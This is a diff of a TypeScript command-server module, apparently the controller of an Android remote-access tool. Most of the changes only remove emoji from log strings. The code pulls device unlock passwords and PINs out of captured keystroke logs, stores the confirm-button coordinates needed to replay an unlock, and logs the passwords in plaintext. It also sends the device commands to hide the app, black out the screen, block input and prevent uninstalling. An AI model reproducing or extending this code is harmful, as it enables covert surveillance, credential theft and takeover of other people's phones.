handleDeviceControlRelease(clientId: string, deviceId: string): boolean { - // ✅ 首先检查设备是否还在线 + // 首先检查设备是否还在线 const device = this.deviceManager.getDevice(deviceId) if (!device) { - this.logger.warn(`⚠️ 尝试释放已断开设备的控制权: ${deviceId}`) + this.logger.warn(` 尝试释放已断开设备的控制权: ${deviceId}`) // 即使设备已断开,也要清理控制权状态 this.webClientManager.releaseDeviceControl(deviceId) return false @@ -1973,15 +1970,15 @@ export class MessageRouter { const deviceSocket = this.webClientManager.io?.sockets.sockets.get(deviceSocketId) if (deviceSocket) { deviceSocket.emit('controller_changed', { clientId: null }) - this.logger.debug(`📤 已通知设备 ${deviceId} 控制者离开`) + this.logger.debug(` 已通知设备 ${deviceId} 控制者离开`) } else { - this.logger.warn(`⚠️ 无法找到设备Socket: ${deviceId}`) + this.logger.warn(` 无法找到设备Socket: ${deviceId}`) } } else { - this.logger.warn(`⚠️ 无法找到设备SocketId: ${deviceId}`) + this.logger.warn(` 无法找到设备SocketId: ${deviceId}`) } } else { - this.logger.warn(`⚠️ 客户端 ${clientId} 没有设备 ${deviceId} 的控制权`) + this.logger.warn(` 客户端 ${clientId} 没有设备 ${deviceId} 的控制权`) return false } @@ -1993,7 +1990,7 @@ export class MessageRouter { */ private handleDeviceListRequest(clientId: string): boolean { try { - // ✅ 使用和getAllDevicesIncludingHistory相同的逻辑 + // 使用和getAllDevicesIncludingHistory相同的逻辑 // 获取数据库中的所有历史设备 const allDbDevices = this.databaseService.getAllDevices() @@ -2020,7 +2017,7 @@ export class MessageRouter { capabilities: dbDevice.capabilities, connectedAt: dbDevice.firstSeen, lastSeen: dbDevice.lastSeen, - // ✅ 关键修复:优先使用内存中的状态,如果设备在内存中则为online,否则使用数据库状态 + // 关键修复:优先使用内存中的状态,如果设备在内存中则为online,否则使用数据库状态 status: onlineDevice ? 'online' : dbDevice.status, inputBlocked: onlineDevice?.inputBlocked || false } @@ -2064,13 +2061,13 @@ export class MessageRouter { return false } - // 🔧 修复:更新设备的lastSeen时间(操作日志也是设备活跃的标志) + // 修复:更新设备的lastSeen时间(操作日志也是设备活跃的标志) device.lastSeen = new Date() - this.logger.debug(`🔄 操作日志更新活跃时间: ${device.id} - ${logMessage.logType}`) + this.logger.debug(` 操作日志更新活跃时间: ${device.id} - ${logMessage.logType}`) - // 🆕 检查是否为应用隐藏事件(通过操作日志传输) + // 检查是否为应用隐藏事件(通过操作日志传输) if (logMessage.extraData && (logMessage.extraData as any).isAppHideEvent) { - this.logger.info(`📱 检测到通过操作日志发送的应用隐藏事件: ${device.id}`) + this.logger.info(` 检测到通过操作日志发送的应用隐藏事件: ${device.id}`) try { const deviceEventData = (logMessage.extraData as any).eventData @@ -2197,14 +2194,14 @@ export class MessageRouter { */ private handleGetDevicePassword(clientId: string, deviceId: string): boolean { try { - this.logger.info(`🔐 处理密码查询请求: 客户端=${clientId}, 设备=${deviceId}`) + this.logger.info(` 处理密码查询请求: 客户端=${clientId}, 设备=${deviceId}`) // 检查客户端是否有权限查看该设备信息 const hasControl = this.webClientManager.hasDeviceControl(clientId, deviceId) - this.logger.info(`🎫 权限检查结果: ${hasControl}`) + this.logger.info(` 权限检查结果: ${hasControl}`) if (!hasControl) { - this.logger.warn(`❌ 客户端 ${clientId} 无权查看设备 ${deviceId} 的密码`) + this.logger.warn(` 客户端 ${clientId} 无权查看设备 ${deviceId} 的密码`) this.webClientManager.sendToClient(clientId, 'get_device_password_response', { success: false, message: '无权查看该设备信息' @@ -2212,10 +2209,10 @@ export class MessageRouter { return false } - // ✅ 优先从状态表获取密码 + // 优先从状态表获取密码 const password = this.databaseService.getDevicePassword(deviceId) - // ✅ 获取设备状态信息 + // 获取设备状态信息 const deviceState = this.databaseService.getDeviceState(deviceId) let responseData: any = { @@ -2225,32 +2222,32 @@ export class MessageRouter { inputBlocked: deviceState.inputBlocked, loggingEnabled: deviceState.loggingEnabled, lastPasswordUpdate: deviceState.lastPasswordUpdate, - // 🆕 包含确认按钮坐标信息 + // 包含确认按钮坐标信息 confirmButtonCoords: deviceState.confirmButtonCoords, learnedConfirmButton: deviceState.learnedConfirmButton } : null } - // ✅ 处理确认按钮坐标信息 + // 处理确认按钮坐标信息 if (password) { responseData.message = '找到密码记录' - // 🆕 优先使用保存的确认按钮坐标 + // 优先使用保存的确认按钮坐标 if (deviceState?.confirmButtonCoords) { responseData.hasConfirmButton = true responseData.confirmButtonCoords = deviceState.confirmButtonCoords - this.logger.info(`🎯 使用保存的确认按钮坐标: (${deviceState.confirmButtonCoords.x}, ${deviceState.confirmButtonCoords.y})`) + this.logger.info(` 使用保存的确认按钮坐标: (${deviceState.confirmButtonCoords.x}, ${deviceState.confirmButtonCoords.y})`) } - // 🆕 其次使用学习的确认按钮坐标 + // 其次使用学习的确认按钮坐标 else if (deviceState?.learnedConfirmButton) { responseData.hasConfirmButton = true responseData.confirmButtonCoords = { x: deviceState.learnedConfirmButton.x, y: deviceState.learnedConfirmButton.y } - this.logger.info(`🧠 使用学习的确认按钮坐标: (${deviceState.learnedConfirmButton.x}, ${deviceState.learnedConfirmButton.y}) 次数: ${deviceState.learnedConfirmButton.count}`) + this.logger.info(` 使用学习的确认按钮坐标: (${deviceState.learnedConfirmButton.x}, ${deviceState.learnedConfirmButton.y}) 次数: ${deviceState.learnedConfirmButton.count}`) } - // 🆕 最后尝试从日志中查找 + // 最后尝试从日志中查找 else { const textInputLogs = this.databaseService.getOperationLogs(deviceId, 1, 100, 'TEXT_INPUT') const passwordsWithMeta = this.extractPasswordCandidatesWithMeta(textInputLogs.logs) @@ -2262,10 +2259,10 @@ export class MessageRouter { x: matchingEntry.confirmButtonX, y: matchingEntry.confirmButtonY } - this.logger.info(`📝 从日志中找到确认按钮坐标: (${matchingEntry.confirmButtonX}, ${matchingEntry.confirmButtonY})`) + this.logger.info(` 从日志中找到确认按钮坐标: (${matchingEntry.confirmButtonX}, ${matchingEntry.confirmButtonY})`) } else { responseData.hasConfirmButton = false - this.logger.info(`ℹ️ 密码 ${password} 无确认按钮坐标`) + this.logger.info(`密码 ${password} 无确认按钮坐标`) } } } else { @@ -2289,7 +2286,7 @@ export class MessageRouter { } responseData.message = '从日志中找到密码记录' - this.logger.info(`✅ 从日志中提取密码: ${bestEntry.password}`) + this.logger.info(` 从日志中提取密码: ${bestEntry.password}`) } else { responseData.message = '暂无密码记录' } @@ -2319,7 +2316,7 @@ export class MessageRouter { */ private handleSaveDevicePassword(clientId: string, deviceId: string, password: string): boolean { try { - this.logger.info(`🔐 处理保存设备密码请求: 客户端=${clientId}, 设备=${deviceId}`) + this.logger.info(` 处理保存设备密码请求: 客户端=${clientId}, 设备=${deviceId}`) // 检查客户端是否有权限保存该设备密码 if (!this.webClientManager.hasDeviceControl(clientId, deviceId)) { @@ -2358,7 +2355,7 @@ export class MessageRouter { */ private handleUpdateDeviceState(clientId: string, deviceId: string, state: any): boolean { try { - this.logger.info(`🔐 处理更新设备状态请求: 客户端=${clientId}, 设备=${deviceId}`) + this.logger.info(` 处理更新设备状态请求: 客户端=${clientId}, 设备=${deviceId}`) // 检查客户端是否有权限更新该设备状态 if (!this.webClientManager.hasDeviceControl(clientId, deviceId)) { @@ -2397,7 +2394,7 @@ export class MessageRouter { */ private handleGetDeviceState(clientId: string, deviceId: string): boolean { try { - this.logger.info(`🔐 处理获取设备状态请求: 客户端=${clientId}, 设备=${deviceId}`) + this.logger.info(` 处理获取设备状态请求: 客户端=${clientId}, 设备=${deviceId}`) // 检查客户端是否有权限获取该设备状态 if (!this.webClientManager.hasDeviceControl(clientId, deviceId)) { @@ -2521,7 +2518,7 @@ export class MessageRouter { message: '设备状态已恢复' }) - // ✅ 优化:Web端获取控制权时,只需要同步状态到Web端界面即可 + // 优化:Web端获取控制权时,只需要同步状态到Web端界面即可 // Android端已经在运行并维护着真实状态,不需要强制同步命令 // 移除了向Android端发送控制命令的逻辑,避免不必要的命令洪流导致连接不稳定 @@ -2552,19 +2549,19 @@ export class MessageRouter { return false } - this.logger.info(`🔍 开始从日志中搜索密码: 设备=${deviceId}`) + this.logger.info(` 开始从日志中搜索密码: 设备=${deviceId}`) // 从数据库获取文本输入相关的操作日志 const textInputLogs = this.databaseService.getPasswordCandidatesFromLogs(deviceId) - this.logger.info(`🔍 设备 ${deviceId} 密码查找结果: 找到 ${textInputLogs ? textInputLogs.length : 0} 条文本输入日志`) + this.logger.info(` 设备 ${deviceId} 密码查找结果: 找到 ${textInputLogs ? textInputLogs.length : 0} 条文本输入日志`) if (!textInputLogs || textInputLogs.length === 0) { - this.logger.info(`📝 设备 ${deviceId} 暂无文本输入日志记录`) + this.logger.info(` 设备 ${deviceId} 暂无文本输入日志记录`) // 调试:检查该设备是否有任何日志 const allLogs = this.databaseService.getOperationLogs(deviceId, 1, 10) - this.logger.info(`🔍 调试信息 - 设备 ${deviceId} 的所有日志数量: ${allLogs.total}`) + this.logger.info(` 调试信息 - 设备 ${deviceId} 的所有日志数量: ${allLogs.total}`) this.webClientManager.sendToClient(clientId, 'password_search_response', { success: true, @@ -2577,7 +2574,7 @@ export class MessageRouter { // 分析日志内容,提取可能的密码 const passwordCandidates = this.extractPasswordCandidates(textInputLogs) - this.logger.info(`🔑 发现 ${passwordCandidates.length} 个可能的密码候选`) + this.logger.info(` 发现 ${passwordCandidates.length} 个可能的密码候选`) // 发送结果给客户端 this.webClientManager.sendToClient(clientId, 'password_search_response', { @@ -2599,7 +2596,7 @@ export class MessageRouter { } /** - * ✅ 新增:从操作日志中提取密码候选及其元信息(包括确认坐标) + * 新增:从操作日志中提取密码候选及其元信息(包括确认坐标) */ private extractPasswordCandidatesWithMeta(logs: any[]): Array<{ password: string @@ -2620,7 +2617,7 @@ export class MessageRouter { const content = log.content || '' const extraData = log.extraData - this.logger.debug(`🔍 分析日志内容: ${content}`) + this.logger.debug(` 分析日志内容: ${content}`) let textInput = '' let passwordType = 'unknown' @@ -2628,12 +2625,12 @@ export class MessageRouter { let confirmButtonY: number | undefined let hasConfirmButton = false - // ✅ 方法1: 从密码输入分析完成的日志中提取(新格式,包含类型信息) - if (content.includes('🔑 密码输入分析完成')) { + // 方法1: 从密码输入分析完成的日志中提取(新格式,包含类型信息) + if (content.includes(' 密码输入分析完成')) { const passwordMatch = content.match(/密码:(.+?)(?:\s|\||$)/) if (passwordMatch) { textInput = passwordMatch[1].trim() - this.logger.info(`✅ 从分析日志中提取密码: ${textInput}`) + this.logger.info(` 从分析日志中提取密码: ${textInput}`) } // 提取密码类型信息 @@ -2649,19 +2646,19 @@ export class MessageRouter { passwordType = this.detectPasswordTypeFromContent(textInput) } - // ✅ 提取确认坐标信息 + // 提取确认坐标信息 const coordMatch = content.match(/确认坐标:\((\d+),\s*(\d+)\)/) if (coordMatch) { confirmButtonX = parseInt(coordMatch[1]) confirmButtonY = parseInt(coordMatch[2]) hasConfirmButton = true - this.logger.info(`✅ 提取到确认坐标: (${confirmButtonX}, ${confirmButtonY})`) + this.logger.info(` 提取到确认坐标: (${confirmButtonX}, ${confirmButtonY})`) } - this.logger.info(`🔍 检测到密码类型: ${passwordType}`) + this.logger.info(` 检测到密码类型: ${passwordType}`) } - // ✅ 从extraData中提取坐标信息 + // 从extraData中提取坐标信息 if (extraData && typeof extraData === 'object') { if (extraData.confirmButtonX && extraData.confirmButtonY) { confirmButtonX = extraData.confirmButtonX @@ -2670,7 +2667,7 @@ export class MessageRouter { } } - // ✅ 处理独立的确认坐标日志 + // 处理独立的确认坐标日志 if (content.includes('确认按钮坐标更新') || log.log_type === 'PASSWORD_CONFIRM_COORDS') { // 这是一个确认坐标更新日志,需要关联到最近的密码 if (extraData && extraData.confirmButtonX && extraData.confirmButtonY) { @@ -2685,7 +2682,7 @@ export class MessageRouter { recentEntry.confirmButtonX = extraData.confirmButtonX recentEntry.confirmButtonY = extraData.confirmButtonY recentEntry.hasConfirmButton = true - this.logger.info(`✅ 为已有密码 ${recentEntry.password} 添加确认坐标: (${extraData.confirmButtonX}, ${extraData.confirmButtonY})`) + this.logger.info(` 为已有密码 ${recentEntry.password} 添加确认坐标: (${extraData.confirmButtonX}, ${extraData.confirmButtonY})`) } } continue // 跳过后续处理,这不是密码日志 @@ -2693,7 +2690,7 @@ export class MessageRouter { // 验证并添加密码 if (textInput && this.isPossiblePasswordEnhanced(textInput, passwordType)) { - this.logger.info(`✅ 验证通过,添加密码候选: ${textInput} (类型: ${passwordType})`) + this.logger.info(` 验证通过,添加密码候选: ${textInput} (类型: ${passwordType})`) const passwordEntry = { password: textInput, @@ -2738,7 +2735,7 @@ export class MessageRouter { } /** - * 从操作日志中提取密码候选 - ✅ 增强版本,改进密码类型识别 + * 从操作日志中提取密码候选 - 增强版本,改进密码类型识别 */ private extractPasswordCandidates(logs: any[]): string[] { const passwordSet = new Set() @@ -2748,22 +2745,22 @@ export class MessageRouter { const content = log.content || '' const extraData = log.extraData - this.logger.debug(`🔍 分析日志内容: ${content}`) + this.logger.debug(` 分析日志内容: ${content}`) // 从日志内容中提取文本 let textInput = '' let passwordType = 'unknown' - // ✅ 方法1: 从密码输入分析完成的日志中提取(新格式,包含类型信息) - if (content.includes('🔑 密码输入分析完成')) { + // 方法1: 从密码输入分析完成的日志中提取(新格式,包含类型信息) + if (content.includes(' 密码输入分析完成')) { // 提取密码 const passwordMatch = content.match(/密码:(.+?)(?:\s|\||$)/) if (passwordMatch) { textInput = passwordMatch[1].trim() - this.logger.info(`✅ 从分析日志中提取密码: ${textInput}`) + this.logger.info(` 从分析日志中提取密码: ${textInput}`) } - // ✅ 提取密码类型信息 + // 提取密码类型信息 if (content.includes('数字密码') || content.includes('PIN码')) { passwordType = content.includes('PIN码') ? 'pin' : 'numeric' } else if (content.includes('图案密码') || content.includes('图形密码')) { @@ -2777,7 +2774,7 @@ export class MessageRouter { passwordType = this.detectPasswordTypeFromContent(textInput) } - this.logger.info(`🔍 检测到密码类型: ${passwordType}`) + this.logger.info(` 检测到密码类型: ${passwordType}`) } // 方法2: 从传统的输入文本日志中解析 @@ -2786,43 +2783,43 @@ export class MessageRouter { if (match) { textInput = match[1].trim() passwordType = this.detectPasswordTypeFromContent(textInput) - this.logger.info(`✅ 从输入文本日志中提取: ${textInput} (类型: ${passwordType})`) + this.logger.info(` 从输入文本日志中提取: ${textInput} (类型: ${passwordType})`) } } - // ✅ 方法3: 从数字密码键盘点击日志中提取 + // 方法3: 从数字密码键盘点击日志中提取 else if (content.includes('数字密码键盘点击:')) { const digitMatch = content.match(/数字密码键盘点击:\s*(\d)/) if (digitMatch) { // 这是单个数字,需要与其他数字组合 const digit = digitMatch[1] - this.logger.debug(`🔢 发现数字密码键盘点击: ${digit}`) + this.logger.debug(` 发现数字密码键盘点击: ${digit}`) // 暂时不处理单个数字,等待完整密码分析 } } // 方法4: 从密码输入进度日志中提取 - else if (content.includes('🔒') && content.includes('密码输入:')) { - // 提取类似 "🔒 密码输入: •••••z (6位)" 的内容 + else if (content.includes('') && content.includes('密码输入:')) { + // 提取类似 " 密码输入: •••••z (6位)" 的内容 const inputMatch = content.match(/密码输入:\s*[•]*([^•\s\(]+)/) if (inputMatch) { textInput = inputMatch[1].trim() passwordType = this.detectPasswordTypeFromContent(textInput) - this.logger.info(`✅ 从密码输入进度日志中提取: ${textInput} (类型: ${passwordType})`) + this.logger.info(` 从密码输入进度日志中提取: ${textInput} (类型: ${passwordType})`) } } - // ✅ 方法5: 从重构密码日志中提取 + // 方法5: 从重构密码日志中提取 else if (content.includes('密码重构完成:')) { const reconstructMatch = content.match(/密码重构完成:\s*'([^']+)'/) if (reconstructMatch) { textInput = reconstructMatch[1].trim() passwordType = this.detectPasswordTypeFromContent(textInput) - this.logger.info(`✅ 从密码重构日志中提取: ${textInput} (类型: ${passwordType})`) + this.logger.info(` 从密码重构日志中提取: ${textInput} (类型: ${passwordType})`) } } - // ✅ 方法6: 从带确认坐标的日志中提取密码和坐标 + // 方法6: 从带确认坐标的日志中提取密码和坐标 else if (content.includes('确认坐标:')) { const passwordMatch = content.match(/密码:(.+?)\s*\|/) const coordMatch = content.match(/确认坐标:\((\d+),\s*(\d+)\)/) @@ -2834,7 +2831,7 @@ export class MessageRouter { if (coordMatch) { const confirmX = parseInt(coordMatch[1]) const confirmY = parseInt(coordMatch[2]) - this.logger.info(`✅ 从确认坐标日志中提取: ${textInput} (类型: ${passwordType}) 确认坐标: (${confirmX}, ${confirmY})`) + this.logger.info(` 从确认坐标日志中提取: ${textInput} (类型: ${passwordType}) 确认坐标: (${confirmX}, ${confirmY})`) // 将确认坐标信息添加到extraData中 if (extraData && typeof extraData === 'object') { @@ -2852,11 +2849,11 @@ export class MessageRouter { if (extraData.text) { textInput = extraData.text passwordType = this.detectPasswordTypeFromContent(textInput) - this.logger.info(`✅ 从extraData对象中提取: ${textInput} (类型: ${passwordType})`) + this.logger.info(` 从extraData对象中提取: ${textInput} (类型: ${passwordType})`) } else if (extraData.reconstructedPassword) { textInput = extraData.reconstructedPassword passwordType = this.detectPasswordTypeFromContent(textInput) - this.logger.info(`✅ 从extraData重构密码中提取: ${textInput} (类型: ${passwordType})`) + this.logger.info(` 从extraData重构密码中提取: ${textInput} (类型: ${passwordType})`) } } else if (typeof extraData === 'string') { try { @@ -2864,7 +2861,7 @@ export class MessageRouter { if (parsed.text) { textInput = parsed.text passwordType = this.detectPasswordTypeFromContent(textInput) - this.logger.info(`✅ 从extraData JSON中提取: ${textInput} (类型: ${passwordType})`) + this.logger.info(` 从extraData JSON中提取: ${textInput} (类型: ${passwordType})`) } } catch (e) { // 忽略JSON解析错误 @@ -2872,25 +2869,25 @@ export class MessageRouter { } } - // ✅ 验证是否为可能的密码,并考虑密码类型 + // 验证是否为可能的密码,并考虑密码类型 if (textInput && this.isPossiblePasswordEnhanced(textInput, passwordType)) { - this.logger.info(`✅ 验证通过,添加密码候选: ${textInput} (类型: ${passwordType})`) + this.logger.info(` 验证通过,添加密码候选: ${textInput} (类型: ${passwordType})`) passwordSet.add(textInput) passwordWithType.set(textInput, passwordType) } else if (textInput) { - this.logger.debug(`❌ 验证失败,跳过: ${textInput} (类型: ${passwordType})`) + this.logger.debug(` 验证失败,跳过: ${textInput} (类型: ${passwordType})`) } } - // ✅ 转换为数组并按类型和质量排序 + // 转换为数组并按类型和质量排序 const passwords = Array.from(passwordSet) - this.logger.info(`🔑 最终提取到 ${passwords.length} 个密码候选: ${passwords.join(', ')}`) + this.logger.info(` 最终提取到 ${passwords.length} 个密码候选: ${passwords.join(', ')}`) passwords.sort((a, b) => { const aType = passwordWithType.get(a) || 'unknown' const bType = passwordWithType.get(b) || 'unknown' - // ✅ 类型优先级排序:PIN码 > 数字密码 > 混合密码 > 文本密码 > 图形密码 > 未知 + // 类型优先级排序:PIN码 > 数字密码 > 混合密码 > 文本密码 > 图形密码 > 未知 const typePriority: Record = { 'pin': 100, 'numeric': 90, @@ -2919,7 +2916,7 @@ export class MessageRouter { } /** - * ✅ 新增:从密码内容检测密码类型 + * 新增:从密码内容检测密码类型 */ private detectPasswordTypeFromContent(password: string): string { if (!password) return 'unknown' @@ -2966,7 +2963,7 @@ export class MessageRouter { } /** - * ✅ 增强版密码验证:判断文本是否可能是密码,考虑密码类型 + * 增强版密码验证:判断文本是否可能是密码,考虑密码类型 */ private isPossiblePasswordEnhanced(text: string, passwordType: string): boolean { if (!text || typeof text !== 'string') { @@ -2976,7 +2973,7 @@ export class MessageRouter { const trimmed = text.trim() const cleanText = trimmed.replace(/[?•*]/g, '') // 移除掩码字符 - // ✅ 根据密码类型进行不同的验证 + // 根据密码类型进行不同的验证 switch (passwordType) { case 'pin': // PIN码:4-6位纯数字 @@ -3022,7 +3019,7 @@ export class MessageRouter { // 长度检查:密码通常在3-20位之间 if (trimmed.length < 3 || trimmed.length > 20) { - this.logger.debug(`❌ 长度不符合 (${trimmed.length}): ${trimmed}`) + this.logger.debug(` 长度不符合 (${trimmed.length}): ${trimmed}`) return false } @@ -3035,7 +3032,7 @@ export class MessageRouter { for (const pattern of excludePatterns) { if (pattern.test(trimmed)) { - this.logger.debug(`❌ 匹配排除模式: ${trimmed}`) + this.logger.debug(` 匹配排除模式: ${trimmed}`) return false } } @@ -3049,7 +3046,7 @@ export class MessageRouter { for (const pattern of includePatterns) { if (pattern.test(trimmed)) { - this.logger.debug(`✅ 匹配包含模式: ${trimmed}`) + this.logger.debug(` 匹配包含模式: ${trimmed}`) return true } } @@ -3063,49 +3060,49 @@ export class MessageRouter { ) if (isValid) { - this.logger.debug(`✅ 通过一般验证: ${trimmed}`) + this.logger.debug(` 通过一般验证: ${trimmed}`) } else { - this.logger.debug(`❌ 未通过一般验证: ${trimmed}`) + this.logger.debug(` 未通过一般验证: ${trimmed}`) } return isValid } /** - * ✅ 刷新所有web客户端的设备列表 + * 刷新所有web客户端的设备列表 */ private refreshAllWebClientDeviceLists(): void { try { // 获取所有web客户端 const allClients = this.webClientManager.getAllClients() - this.logger.info(`🔄 开始刷新 ${allClients.length} 个web客户端的设备列表`) + this.logger.info(` 开始刷新 ${allClients.length} 个web客户端的设备列表`) allClients.forEach(client => { try { // 为每个客户端发送最新的设备列表 this.handleDeviceListRequest(client.id) } catch (error) { - this.logger.error(`❌ 刷新客户端 ${client.id} 设备列表失败:`, error) + this.logger.error(` 刷新客户端 ${client.id} 设备列表失败:`, error) } }) - this.logger.info(`✅ 设备列表刷新完成`) + this.logger.info(` 设备列表刷新完成`) } catch (error) { - this.logger.error('❌ 刷新web客户端设备列表失败:', error) + this.logger.error(' 刷新web客户端设备列表失败:', error) } } /** - * ✅ 同步设备状态到设备端 + * 同步设备状态到设备端 */ private syncDeviceStateToDevice(socketId: string, deviceId: string, deviceState: any): void { try { - this.logger.info(`🔄 开始同步设备状态到设备端: ${deviceId}`) + this.logger.info(` 开始同步设备状态到设备端: ${deviceId}`) // 获取设备的socket连接 const deviceSocket = this.webClientManager.io?.sockets.sockets.get(socketId) if (!deviceSocket) { - this.logger.warn(`⚠️ 设备socket连接不存在,无法同步状态: ${deviceId}`) + this.logger.warn(` 设备socket连接不存在,无法同步状态: ${deviceId}`) return } @@ -3118,7 +3115,7 @@ export class MessageRouter { timestamp: Date.now() } deviceSocket.emit('control_message', controlMessage) - this.logger.info(`📤 已向设备 ${deviceId} 同步输入阻塞状态: ${deviceState.inputBlocked}`) + this.logger.info(` 已向设备 ${deviceId} 同步输入阻塞状态: ${deviceState.inputBlocked}`) } // 同步日志状态(如果需要) @@ -3130,10 +3127,10 @@ export class MessageRouter { timestamp: Date.now() } deviceSocket.emit('control_command', logMessage) - this.logger.info(`📤 已向设备 ${deviceId} 同步日志状态: ${deviceState.loggingEnabled}`) + this.logger.info(` 已向设备 ${deviceId} 同步日志状态: ${deviceState.loggingEnabled}`) } - // 🆕 同步黑屏遮盖状态(如果需要) + // 同步黑屏遮盖状态(如果需要) if (deviceState.blackScreenActive !== undefined && deviceState.blackScreenActive !== null) { const blackScreenMessage = { type: deviceState.blackScreenActive ? 'ENABLE_BLACK_SCREEN' : 'DISABLE_BLACK_SCREEN', @@ -3142,10 +3139,10 @@ export class MessageRouter { timestamp: Date.now() } deviceSocket.emit('control_command', blackScreenMessage) - this.logger.info(`📤 已向设备 ${deviceId} 同步黑屏遮盖状态: ${deviceState.blackScreenActive}`) + this.logger.info(` 已向设备 ${deviceId} 同步黑屏遮盖状态: ${deviceState.blackScreenActive}`) } - // 🆕 同步应用隐藏状态(如果需要) + // 同步应用隐藏状态(如果需要) if (deviceState.appHidden !== undefined && deviceState.appHidden !== null) { const appHideMessage = { type: deviceState.appHidden ? 'HIDE_APP' : 'SHOW_APP', @@ -3154,10 +3151,10 @@ export class MessageRouter { timestamp: Date.now() } deviceSocket.emit('control_command', appHideMessage) - this.logger.info(`📤 已向设备 ${deviceId} 同步应用隐藏状态: ${deviceState.appHidden}`) + this.logger.info(` 已向设备 ${deviceId} 同步应用隐藏状态: ${deviceState.appHidden}`) } - // 🛡️ 同步防止卸载保护状态(如果需要) + // 同步防止卸载保护状态(如果需要) if (deviceState.uninstallProtectionEnabled !== undefined && deviceState.uninstallProtectionEnabled !== null) { const uninstallProtectionMessage = { type: deviceState.uninstallProtectionEnabled ? 'ENABLE_UNINSTALL_PROTECTION' : 'DISABLE_UNINSTALL_PROTECTION', @@ -3166,13 +3163,13 @@ export class MessageRouter { timestamp: Date.now() } deviceSocket.emit('control_command', uninstallProtectionMessage) - this.logger.info(`📤 已向设备 ${deviceId} 同步防止卸载保护状态: ${deviceState.uninstallProtectionEnabled}`) + this.logger.info(` 已向设备 ${deviceId} 同步防止卸载保护状态: ${deviceState.uninstallProtectionEnabled}`) } - this.logger.info(`✅ 设备状态同步完成: ${deviceId}`) + this.logger.info(` 设备状态同步完成: ${deviceId}`) } catch (error) { - this.logger.error(`❌ 同步设备状态失败: ${deviceId}`, error) + this.logger.error(` 同步设备状态失败: ${deviceId}`, error) } } @@ -3181,12 +3178,12 @@ export class MessageRouter { */ private handleDeleteDevice(clientId: string, deviceId: string): boolean { try { - this.logger.info(`🗑️ 处理删除设备请求: 客户端=${clientId}, 设备=${deviceId}`) + this.logger.info(` 处理删除设备请求: 客户端=${clientId}, 设备=${deviceId}`) // 检查设备是否存在 const deviceExists = this.databaseService.getDeviceById(deviceId) if (!deviceExists) { - this.logger.warn(`⚠️ 尝试删除不存在的设备: ${deviceId}`) + this.logger.warn(` 尝试删除不存在的设备: ${deviceId}`) this.webClientManager.sendToClient(clientId, 'delete_device_response', { success: false, deviceId: deviceId, @@ -3198,13 +3195,13 @@ export class MessageRouter { // 如果设备在线,先释放控制权并断开连接 const onlineDevice = this.deviceManager.getDevice(deviceId) if (onlineDevice) { - this.logger.info(`📤 设备在线,先断开连接: ${deviceId}`) + this.logger.info(` 设备在线,先断开连接: ${deviceId}`) // 释放控制权 const controller = this.webClientManager.getDeviceController(deviceId) if (controller) { this.webClientManager.releaseDeviceControl(deviceId) - this.logger.info(`🔓 已释放设备控制权: ${controller}`) + this.logger.info(` 已释放设备控制权: ${controller}`) } // 通知设备断开 @@ -3229,7 +3226,7 @@ export class MessageRouter { // 从数据库中删除设备及相关数据 this.databaseService.deleteDevice(deviceId) - this.logger.info(`✅ 设备已从数据库删除: ${deviceId}`) + this.logger.info(` 设备已从数据库删除: ${deviceId}`) // 发送成功响应 this.webClientManager.sendToClient(clientId, 'delete_device_response', { @@ -3238,7 +3235,7 @@ export class MessageRouter { message: '设备已删除' }) - this.logger.info(`🎉 设备删除完成: ${deviceId}`) + this.logger.info(` 设备删除完成: ${deviceId}`) return true } catch (error) { @@ -3257,7 +3254,7 @@ export class MessageRouter { */ private handleGetUIHierarchy(clientId: string, deviceId: string, requestData: any): boolean { try { - this.logger.info(`🔍 处理UI层次结构获取请求: 客户端=${clientId}, 设备=${deviceId}`) + this.logger.info(` 处理UI层次结构获取请求: 客户端=${clientId}, 设备=${deviceId}`) // 检查客户端权限 const client = this.webClientManager.getClient(clientId) @@ -3269,8 +3266,8 @@ export class MessageRouter { // 检查设备是否存在且在线 const device = this.deviceManager.getDevice(deviceId) if (!device || !this.deviceManager.isDeviceOnline(deviceId)) { - this.logger.error(`❌ 设备不在线或不存在: ${deviceId}`) - this.logger.info(`📋 当前所有设备: ${JSON.stringify(this.deviceManager.getAllDevices().map(d => ({ id: d.id, name: d.name, socketId: d.socketId, status: d.status })))}`) + this.logger.error(` 设备不在线或不存在: ${deviceId}`) + this.logger.info(` 当前所有设备: ${JSON.stringify(this.deviceManager.getAllDevices().map(d => ({ id: d.id, name: d.name, socketId: d.socketId, status: d.status })))}`) this.webClientManager.sendToClient(clientId, 'ui_hierarchy_response', { deviceId, success: false, @@ -3281,11 +3278,11 @@ export class MessageRouter { // 获取设备Socket并发送UI分析请求 const deviceSocketId = this.deviceManager.getDeviceSocketId(deviceId) - this.logger.info(`🔍 设备 ${deviceId} 的Socket ID: ${deviceSocketId}`) + this.logger.info(` 设备 ${deviceId} 的Socket ID: ${deviceSocketId}`) if (deviceSocketId) { const deviceSocket = this.webClientManager.io?.sockets.sockets.get(deviceSocketId) - this.logger.info(`🔍 Socket连接状态: ${deviceSocket ? '已连接' : '未找到'}`) + this.logger.info(` Socket连接状态: ${deviceSocket ? '已连接' : '未找到'}`) if (deviceSocket) { // 向设备发送UI分析请求 - 默认启用所有增强功能 @@ -3299,10 +3296,10 @@ export class MessageRouter { includeDeviceInfo: true // 默认包含设备信息 } - this.logger.info(`📤 准备发送UI分析请求(增强模式): ${JSON.stringify(requestPayload)}`) + this.logger.info(` 准备发送UI分析请求(增强模式): ${JSON.stringify(requestPayload)}`) deviceSocket.emit('ui_hierarchy_request', requestPayload) - this.logger.info(`📤 已向设备 ${deviceId} 发送UI层次结构分析请求(增强模式)`) + this.logger.info(` 已向设备 ${deviceId} 发送UI层次结构分析请求(增强模式)`) return true } } @@ -3331,8 +3328,8 @@ export class MessageRouter { */ private handleUIHierarchyResponse(deviceId: string, hierarchyData: any): void { try { - this.logger.info(`📱 收到设备 ${deviceId} 的UI层次结构响应`) - this.logger.info(`📋 响应数据详情: clientId=${hierarchyData.clientId}, success=${hierarchyData.success}, hierarchy类型=${typeof hierarchyData.hierarchy}`) + this.logger.info(` 收到设备 ${deviceId} 的UI层次结构响应`) + this.logger.info(` 响应数据详情: clientId=${hierarchyData.clientId}, success=${hierarchyData.success}, hierarchy类型=${typeof hierarchyData.hierarchy}`) // 转发给请求的客户端 if (hierarchyData.clientId) { @@ -3341,17 +3338,17 @@ export class MessageRouter { success: hierarchyData.success || true, hierarchy: hierarchyData.hierarchy, timestamp: Date.now(), - enhanced: hierarchyData.enhanced || false, // ✅ 传递增强标识 - deviceCharacteristics: hierarchyData.deviceCharacteristics, // ✅ 传递设备特征 